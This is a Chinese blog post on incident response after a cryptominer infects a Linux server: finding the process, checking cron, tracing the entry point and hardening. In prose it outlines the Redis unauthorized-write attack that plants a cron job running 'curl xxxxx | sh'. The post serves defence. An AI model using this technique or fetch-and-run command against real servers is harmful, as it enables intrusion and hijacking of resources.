服务器被挖矿了后应当如何做

本文涉及的产品
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Tair(兼容Redis),内存型 2GB
简介: 服务器被挖矿了后应当如何做

先说最优解: 服务器若是被挖矿了,建议备份数据且重装系统。


所谓的挖矿是什么,这里暂不做解释了,有需要者可以自行百度或者必应,本篇文章主要讲述被攻击后应当如何做。



如何发现问题


首先,挖矿程序是非常耗费cpu的,若你发现近期某台服务器,cpu使用率接近于100%, 而正常情况下,机器cpu是没有用到这么多的,这个时候可能要注意了,可以使用如下命令,查询进程信息按照cpu排序。


命令:

ps aux  | head -n 1 ; ps aux | sort -k 3 -rn | head

我们拆分一下命令来看是如何分析的

ps aux | head -n 1是打印ps aux的标题栏。


image.png


ps aux | sort -k 3 -rn | head是查询ps aux将按照第三列(sort -k 3 -rn)进行降序排序, 而最后的head是提取前10个结果。


可以寻找哪些不知名的进程,且占用率很高的,找到其进程后,可以使用PID定位到程序位置,如果在/tmp下等,一般是这类程序没跑了,那么如何分析程序位置呢? 由于没有环境,所以我们这边拿mysqld举例。


例如我们查询到某个进程,觉得有问题,我们想查询下该进程的路径

image.png


我们先拿到pid值,当然这个命令,已经跟了绝对路径哈,假设没有绝对路径,我们可以使用lsof -p PID值查询,例如:

image.png

我们找到fdtxt,查看其值,就是程序的路径。



删除还是禁止启动


我们在拿到启动文件后,我们大概有2种做法,其一是删除文件,其二是禁止该文件启动,也就是取消该文件的执行权限,而二者有什么区别,分别在什么时候使用呢? 我们来逐一分析下。


一般而言,像这类挖矿病毒程序,一般是周期性质的,其启动项不是定义在cron中的,就是执行的命令,那么我们应该如何查找呢?


若是使用cron我们可以查看下/var/spool/cron/目录中的文件,若是有异常任务,我们可以将其停止掉,而后再杀掉挖矿进程,删除其源文件。

image.png

若是使用的命令,我们应当如何查看呢,我们可以使用ps axjf命令进行查看系统下所有的进程,若是进程以whilefor等循环开头的,内部嵌套了curl等的命令,那多半是启动命令,也是将其停掉,而后杀掉挖矿进程,然后删除源文件即可。


ps ajxf是以树状结构来显示进程信息的。


若是上述二者都没有找到,我们可以先将文件可执行权限给拿掉,而后将文件锁起来,这个可以参考chattr命令。




追根溯源


在上面的分析过程中,其实就可以开始追根溯源了,第一个点是看挖矿进程启动的用户,若是root,那就要请运维同学三思了,是不是启动某些服务是使用root启动的。


如果我们发现挖矿进程,是以每个用户来启动的,例如: redisphp用户,这反倒好办了,我们直接可以引发定位问题进程了,若是以root来启动的,相对麻烦些,要靠猜才行了,我们可以猜是redis引起的,而后逐步去推理这个问题,如果一路推下去毫无阻拦,那就是这个问题,若是有阻拦,那我们得换个角度继续猜,很多现实中的问题,就是考猜+反复验证解决的。


我们举个例子


我们发现系统被挖矿了,而启动该进程的用户是root,我们由此怀疑是通过redis进来的,我们可以思考如下几个点,

  • redis端口是否对外
  • redis是否是弱口令

如果确定了如上2项,我们来看下一般是怎么通过redis进行攻击的呢? 一般情况下是暴力破解连上redis后,使用flushall清空命令,而后使用dir将其目录设置到cron文件处即: /var/spool/cron,再次修改filename的值为用户名称,再次flushall后,将命令(curl xxxxx | sh)写入redis使用save将其存储到磁盘中,至此,攻击结束。


我们可以顺着这个思路,进行递推,比如,查询redis日志等。




如何防止

我们介绍了如上情况,那么我们如何防止类似的情况发生呢? 这里给大家列举了几条措施


权限最小化

例如,启动redis就没必要使用root权限,而是应该新建一个redis用户,专门用以启动redis服务器,这样就算被攻击了,还不至于破坏那么大,且被攻击后,很容易查询是哪个进程引起的。


合理利用防火墙

3306637927017等熟知的服务器端口,尽量给固定ip开放,而非0.0.0.0,这里提及一下密码复杂度,尽量设置的相对于复杂点。


关闭不必要的插件

这个主要是php服务,例如可以远程执行命令的插件等。

对php不是很熟悉,但是它是被攻击的重灾区。




总结


我们这篇文章,可以大概分析一些小问题了,其实最重要的是还是防止被攻击,这个取决于运维做事的态度,若是为了怕麻烦,而滥用权限,会导致严重的后果,最重要的,最重要的,被攻击后,尽量将数据备份出来,然后重装系统,这个才是上上之策,我们发现问题,我们也要吸取教训。





相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
2月前
|
缓存 监控 安全
服务器荣获挖矿病毒,该如何处理?
【9月更文挑战第2天】若服务器不幸感染挖矿病毒,应立即断开网络连接,防止扩散;使用监控工具查找异常进程和文件,并全面扫描确认位置;谨慎删除病毒文件和进程,修复系统漏洞,安装最新补丁;加强安全防护,安装杀毒软件和防火墙,监控性能活动;最后从备份恢复数据,测试服务功能,确保正常运行。处理过程需谨慎耐心,强化安全管理。
453 3
|
安全 NoSQL JavaScript
糟糕!我的服务器CPU被黑客挖矿了
糟糕!我的服务器CPU被黑客挖矿了
273 0
|
6月前
|
存储 安全 网络安全
怎么看服务器是中毒了还是被攻击?以及后续处理方案
怎么看服务器是中毒了还是被攻击?以及后续处理方案
|
云安全 安全 Linux
网站服务器怎么做防御?遇到攻击如何解决?
如今黑客攻击越来越多也十分猖獗,我们应如何防护呢?
118 0
|
SQL 监控 安全
利用漏洞三步黑掉一个中型网站或系统
利用漏洞三步黑掉一个中型网站或系统
250 0
想要破解流量难题?首先你需要
想要破解流量难题?首先你需要
198 0
想要破解流量难题?首先你需要
|
区块链
详细分析:多链质押挖矿系统开发合约部署方案详细教程
详细分析:多链质押挖矿系统开发合约部署方案详细教程
详细分析:多链质押挖矿系统开发合约部署方案详细教程
|
存储 Java Python
PIL链质押挖矿系统项目开发逻辑(源码搭建)质押挖矿开发技术介绍
PIL链质押挖矿系统项目开发逻辑(源码搭建)质押挖矿开发技术介绍
108 0
相亲app源码,服务器遭受攻击后需要做好的几件事
相亲app源码,服务器遭受攻击后需要做好的几件事
|
云安全 分布式计算 资源调度
TeamTNT变种攻击Hadoop集群,云上服务对外开放需谨慎
近日,阿里云安全监测到TeamTNT变种,除了沿用之前攻击手法,最新利用了Hadoop Yarn未授权访问漏洞进行传播,同时使用多个域名和IP确保恶意文件落地,对脚本进行二进制化封装以对抗主机端检测。
572 0
TeamTNT变种攻击Hadoop集群,云上服务对外开放需谨慎